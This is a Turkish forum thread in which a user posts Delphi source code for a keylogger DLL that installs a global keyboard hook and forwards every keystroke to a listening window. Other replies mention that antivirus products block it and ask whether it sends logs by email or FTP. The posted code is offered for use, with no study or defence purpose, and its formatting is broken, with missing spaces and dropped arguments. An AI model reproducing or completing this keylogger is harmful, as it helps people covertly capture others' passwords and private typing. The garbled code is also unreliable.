Bİ KEYLOGGER KAYNAK KODU:library KBHook;usesWindows, Messages;typePHWND = ^HWND;constWM_KEYBOARD_HOOK = WM_USER + 52012;varhHook: LongWord = 0;Key: Word;KeyboardLayout: HKL;GetShiftKeys: Boolean;hWndBuffer: PHWND;hMMF: THandle;function KeyboardProc : LongWord; stdcall;varLastKey: Char;KeyState: TKeyboardState;beginResult:=CallNextHookEx ; if nCode<0 thenExitelse beginKeyboardLayout:=GetKeyboardLayout(0);GetKeyboardState ;if ToAsciiEx(wParam, MapVirtualKeyEx(wParam,2, Keyboard Layout), KeyState,@LastKey,0, KeyboardLayout)>0 thenKey:=Ord elseKey:=wParam;if (lParam and $80000000)=0 thenif not (wParam in ) or GetShiftKeys thenPostMessage ;end;end;function CreateHook : Boolean; stdcall;varbHWND: PHWND;beginhMMF:=CreateFileMapping($FFFFFFFF, nil, PAGE_READWRI TE or SEC_COMMIT,0, SizeOf ,' KeyboardHookHandle');bHWND:=MapViewOfFile(hMMF, FILE_MAP_WRITE,0,0, SizeO f ;bHWND^:=hWnd;UnmapViewOfFile ;GetMem(hWndBuffer, SizeOf ;hWndBuffer^:=hWnd; GetShiftKeys:=ShiftKeys;if hHook=0 thenhHook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc, hInstance,0);Result:=hHook<>0;end;function DeleteHook: Boolean; stdcall;beginFreeMem ;CloseHandle ;Result:=UnhookWindowsHookEx ;hHook:=0;end;exportsCreateHook, DeleteHook;varMMF: THandle;beginMMF:=OpenFileMapping(FILE_MAP_READ, false,' KeyboardHookHandle');if MMF<>0 then beginhWndBuffer:=MapViewOfFile(MMF, FILE_MAP_READ,0,0, Si zeOf ;CloseHandle ;end;end. NesTo | same shit diffirent asshole

bu kod sadece hangi tuşlara basıldığını gsterir. gerisi size kalmış. enginkirmaci.com | Kişisel web sitesi, uyetakip.com | Ücretsiz Üye Takip Programı

Merhabalar. Bu keylogger kodu Kaspersky ve NOD32 tarafından engelleniyor

lan kimseninmi işine yaramadı? NesTo | same shit diffirent asshole

bende ona bakıodum bi mailemi gnderio yoksa ftp'ye falanmı :) Amphetamine Logic.